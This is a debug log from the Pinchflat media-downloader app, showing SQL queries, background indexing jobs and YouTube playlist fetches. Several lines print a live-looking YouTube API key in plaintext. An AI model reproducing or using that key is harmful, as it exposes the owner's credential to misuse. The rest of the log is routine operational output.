[debug] QUERY OK source="media_items" db=0.8ms idle=237.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:27:31.720 [debug] QUERY OK source="tasks" db=0.1ms idle=239.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268477, 36, ~U[2026-10-09 22:27:31Z], ~U[2026-10-09 22:27:31Z]] 17:27:31.721 [info] {"args":{"id":36},"id":5268438,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":240631,"event":"job:stop","queue_time":361750,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:32.481 [info] {"args":{"id":2},"id":5268439,"meta":{},"system_time":1791584852481111771,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:32.481 [debug] QUERY OK source="sources" db=0.1ms idle=760.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:27:32.481 [debug] QUERY OK source="settings" db=0.0ms idle=760.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:32.481 [debug] QUERY OK source="media_profiles" db=0.1ms idle=754.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:32.481 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:32.481 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:27:32.482 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:32.482 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:32.844 [debug] QUERY OK source="media_items" db=0.7ms idle=362.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", "WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 17:27:32.848 [debug] QUERY OK source="media_items" db=2.6ms idle=363.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:27:32.849 [debug] QUERY OK source="tasks" db=0.1ms idle=366.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268478, 2, ~U[2026-10-09 22:27:32Z], ~U[2026-10-09 22:27:32Z]] 17:27:32.849 [info] {"args":{"id":2},"id":5268439,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":367935,"event":"job:stop","queue_time":454031,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:33.482 [info] {"args":{"id":22},"id":5268440,"meta":{},"system_time":1791584853482211928,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:33.482 [debug] QUERY OK source="sources" db=0.1ms idle=633.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:27:33.482 [debug] QUERY OK source="settings" db=0.0ms idle=633.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.482 [debug] QUERY OK source="media_profiles" db=0.0ms idle=627.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:33.483 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.483 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:27:33.483 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.483 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:33.690 [debug] QUERY OK source="media_items" db=0.5ms idle=206.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:27:33.691 [debug] QUERY OK source="media_items" db=0.3ms idle=208.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:27:33.691 [debug] QUERY OK source="tasks" db=0.1ms idle=208.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268479, 22, ~U[2026-10-09 22:27:33Z], ~U[2026-10-09 22:27:33Z]] 17:27:33.692 [info] {"args":{"id":22},"id":5268440,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209754,"event":"job:stop","queue_time":501587,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:33.698 [info] {"args":{"id":10},"id":5268441,"meta":{},"system_time":1791584853698200024,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:33.698 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:27:33.698 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.698 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:33.698 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.698 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:27:33.699 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.699 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:33.871 [debug] QUERY OK source="media_items" db=0.5ms idle=171.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 17:27:33.874 [debug] QUERY OK source="media_items" db=2.9ms idle=172.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:27:33.875 [debug] QUERY OK source="tasks" db=0.1ms idle=176.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268480, 10, ~U[2026-10-09 22:27:33Z], ~U[2026-10-09 22:27:33Z]] 17:27:33.875 [info] {"args":{"id":10},"id":5268441,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":177164,"event":"job:stop","queue_time":508494,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:34.483 [info] {"args":{"id":4},"id":5268442,"meta":{},"system_time":1791584854483213881,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:34.483 [debug] QUERY OK source="sources" db=0.1ms idle=608.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:27:34.483 [debug] QUERY OK source="settings" db=0.0ms idle=608.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:34.483 [debug] QUERY OK source="media_profiles" db=0.0ms idle=602.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:34.483 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:34.483 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:27:34.484 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:34.484 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:34.696 [debug] QUERY OK source="media_items" db=0.6ms idle=211.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 17:27:34.697 [debug] 